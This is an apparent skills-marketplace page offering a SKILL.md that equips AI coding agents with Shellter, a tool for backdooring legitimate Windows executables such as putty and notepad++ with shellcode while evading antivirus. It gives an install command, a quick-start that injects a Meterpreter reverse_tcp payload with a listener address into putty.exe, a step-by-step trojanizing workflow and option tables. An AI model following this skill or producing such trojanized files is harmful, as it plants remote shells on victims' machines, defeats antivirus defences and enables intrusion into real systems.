aeondave/shellter
offensive-tools/evasion/shellter/SKILL.md
Shellter: dynamic shellcode injection tool that backdoors native Windows PE executables while preserving original functionality to evade AV detection. Use when trojanizing legitimate PE files (putty, vlc, notepad++) with custom shellcode payloads for initial access.
$ install --global
skillsauthnpx skillsauth add aeondave/malskill shellterInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
Security Scan Results
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
3
Scanners Passed
9
Scanners in report
Clean
TrivyContainer and dependency vulnerability scanner
95%
Clean
SemgrepStatic code analysis for vulnerabilities
95%
Clean
mcp-scan (Snyk)Model Context Protocol security validation
95%
Skipped
Snyk (dep)Open source security scanning
50%
Skipped
Socket.devSupply chain security analysis
50%
Skipped
VirusTotalMulti-engine malware detection
50%
Skipped
CrowdStrikeAdvanced threat intelligence
50%
Skipped
OSV-ScannerOpen Source Vulnerability database check
50%
Skipped
OWASP Dep-Check
50%
Last scanned: Mar 31, 2026, 9:11 PM54.3s1 file scanned
SKILL.md
- name:
- shellter
- description:
- Shellter: dynamic shellcode injection tool that backdoors native Windows PE executables while preserving original functionality to evade AV detection. Use when trojanizing legitimate PE files (putty, vlc, notepad++) with custom shellcode payloads for initial access.
- license:
- Freeware (Pro commercial)
- compatibility:
- Windows native. Runs on Linux/macOS via Wine. Targets Windows PE32 executables.
- author:
- AeonDave
- version:
- 1.0
Shellter
Dynamic shellcode injection into legitimate PE files.
Quick Start
# Interactive (Windows or Wine on Linux)
shellter.exe
# Auto mode
wine shellter.exe -a -f putty.exe -p windows/meterpreter/reverse_tcp \
--lhost 10.0.0.1 --lport 4444
Workflow
- Choose a legitimate PE target (putty.exe, vlc.exe, notepad++.exe)
- Shellter analyzes execution flow, identifies injection points
- Select MSF payload or provide custom shellcode bytes
- Shellter injects and outputs a modified PE
- Original functionality preserved — reduced AV signature match
Modes
| Mode | Flag | Use |
|------|------|-----|
| Auto | -a | Non-interactive, fastest |
| Manual | (interactive) | Full injection point control |
Key Options (Auto Mode)
| Flag | Purpose |
|------|---------|
| -f <pe> | Target PE file |
| -p <payload> | MSF payload string |
| --lhost / --lport | Listener address |
| -e <encoder> | MSF encoder |
Resources
| File | When to load |
|------|--------------|
| references/ | Custom shellcode injection, encoder selection |
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